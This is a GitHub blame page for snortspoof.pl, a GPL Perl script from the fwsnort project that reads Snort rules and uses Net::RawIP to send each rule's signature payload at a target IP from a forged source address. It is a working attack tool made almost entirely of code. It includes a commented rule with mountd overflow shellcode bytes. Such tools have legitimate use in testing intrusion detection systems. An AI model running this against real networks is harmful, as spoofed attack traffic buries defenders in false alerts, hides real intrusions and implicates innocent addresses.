Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Newer
Older
100755 116 lines (106 sloc) 3.778 kb
6294220 @mrash added snortspoof.pl
authored
1 #!/usr/bin/perl -w
4e15c27 @mrash updated to use Net::RawIP
authored
2 #
2b415f6 @mrash added GPL and standard header text
authored
3 ###############################################################################
4 #
5 # File: snortspoof.pl
6 #
7 # Purpose: To parse rules from the Snort rule set and spoof them at a target
8 # IP from arbitrary source addresses. This is similar to the
9 # technique employed by the Stick and Snot projects. Snortspoof.pl
10 # is distributed with the fwsnort project
11 # (http://www.cipherdyne.org/fwsnort/).
12 #
13 # Author: Michael Rash <mbr@cipherdyne.org>
14 #
96b31f7 @mrash copyright date update to 2007
authored
15 # Copyright (C) 2003-2007 Michael Rash (mbr@cipherdyne.org)
2b415f6 @mrash added GPL and standard header text
authored
16 #
17 # License (GNU Public License):
18 #
19 # This program is distributed in the hope that it will be useful,
20 # but WITHOUT ANY WARRANTY; without even the implied warranty of
21 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
22 # GNU General Public License for more details.
23 #
24 # You should have received a copy of the GNU General Public License
25 # along with this program; if not, write to the Free Software
f447c4b @mrash GPL license address update (mentioned by Guillermo Gomez)
authored
26 # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
2b415f6 @mrash added GPL and standard header text
authored
27 # USA
28 #
29 ###############################################################################
30 #
6294220 @mrash added snortspoof.pl
authored
31
a87c0ac @mrash switched to require Net::RawIP so a normal user can check proper compila...
authored
32 require Net::RawIP;
6294220 @mrash added snortspoof.pl
authored
33 use strict;
34
35 my $file = $ARGV[0] || '';
36 my $spoof_addr = $ARGV[1] || '';
37 my $dst_addr = $ARGV[2] || '';
38
4e15c27 @mrash updated to use Net::RawIP
authored
39 die "$0 <rules file> <spoof IP> <dst IP>"
40 unless $file and $spoof_addr and $dst_addr;
6294220 @mrash added snortspoof.pl
authored
41
2d235c3 @mrash updated snort sig comment
authored
42 # alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux mountd
43 # overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";
44 # reference:bugtraq,121; reference:cve,1999-0002; classtype:attempted-admin;
45 # sid:315; rev:6;)
4e15c27 @mrash updated to use Net::RawIP
authored
46 my $sig_sent = 0;
47 open F, "< $file" or die "[*] Could not open $file: $!";
48 SIG: while (<F>) {
6294220 @mrash added snortspoof.pl
authored
49 my $content = '';
4e15c27 @mrash updated to use Net::RawIP
authored
50 my $conv_content = '';
51 my $hex_mode = 0;
52 my $proto = '';
6294220 @mrash added snortspoof.pl
authored
53 my $spt = 10000;
54 my $dpt = 10000;
55
56 ### make sure it is an inbound sig
4e15c27 @mrash updated to use Net::RawIP
authored
57 if (/^\s*alert\s+(tcp|udp)\s+\S+\s+(\S+)\s+\S+
58 \s+(\$HOME_NET|any)\s+(\S+)\s/x) {
59 $proto = $1;
60 my $spt_tmp = $2;
61 my $dpt_tmp = $4;
62
63 ### can't handle multiple content fields yet
64 next SIG if /content:.*\s*content\:/;
65
66 $content = $1 if /\s*content\:\"(.*?)\"\;/;
a87c0ac @mrash switched to require Net::RawIP so a normal user can check proper compila...
authored
67 next SIG unless $content;
4e15c27 @mrash updated to use Net::RawIP
authored
68
69 if ($spt_tmp =~ /(\d+)/) {
70 $spt = $1;
71 } elsif ($spt_tmp ne 'any') {
72 next SIG;
73 }
74 if ($dpt_tmp =~ /(\d+)/) {
75 $dpt = $1;
76 } elsif ($dpt_tmp ne 'any') {
77 next SIG;
78 }
6294220 @mrash added snortspoof.pl
authored
79
4e15c27 @mrash updated to use Net::RawIP
authored
80 my @chars = split //, $content;
81 for (my $i=0; $i<=$#chars; $i++) {
82 if ($chars[$i] eq '|') {
83 $hex_mode == 0 ? ($hex_mode = 1) : ($hex_mode = 0);
84 next;
85 }
6294220 @mrash added snortspoof.pl
authored
86 if ($hex_mode) {
4e15c27 @mrash updated to use Net::RawIP
authored
87 next if $chars[$i] eq ' ';
88 $conv_content .= sprintf("%c",
89 hex($chars[$i] . $chars[$i+1]));
90 $i++;
6294220 @mrash added snortspoof.pl
authored
91 } else {
4e15c27 @mrash updated to use Net::RawIP
authored
92 $conv_content .= $chars[$i];
6294220 @mrash added snortspoof.pl
authored
93 }
94 }
4e15c27 @mrash updated to use Net::RawIP
authored
95 my $rawpkt = '';
96 if ($proto eq 'tcp') {
97 $rawpkt = new Net::RawIP({'ip' => {
98 saddr => $spoof_addr, daddr => $dst_addr},
99 'tcp' => { source => $spt, dest => $dpt, 'ack' => 1,
100 data => $conv_content}})
101 or die "[*] Could not get Net::RawIP object: $!";
6294220 @mrash added snortspoof.pl
authored
102 } else {
4e15c27 @mrash updated to use Net::RawIP
authored
103 $rawpkt = new Net::RawIP({'ip' => {
104 saddr => $spoof_addr, daddr => $dst_addr},
105 'udp' => { source => $spt, dest => $dpt,
106 data => $conv_content}})
107 or die "[*] Could not get Net::RawIP object: $!";
6294220 @mrash added snortspoof.pl
authored
108 }
4e15c27 @mrash updated to use Net::RawIP
authored
109 $rawpkt->send();
110 $sig_sent++;
6294220 @mrash added snortspoof.pl
authored
111 }
112 }
4e15c27 @mrash updated to use Net::RawIP
authored
113 print "[+] $file, $sig_sent attacks sent.\n";
114 close F;
6294220 @mrash added snortspoof.pl
authored
115 exit 0;
Something went wrong with that request. Please try again.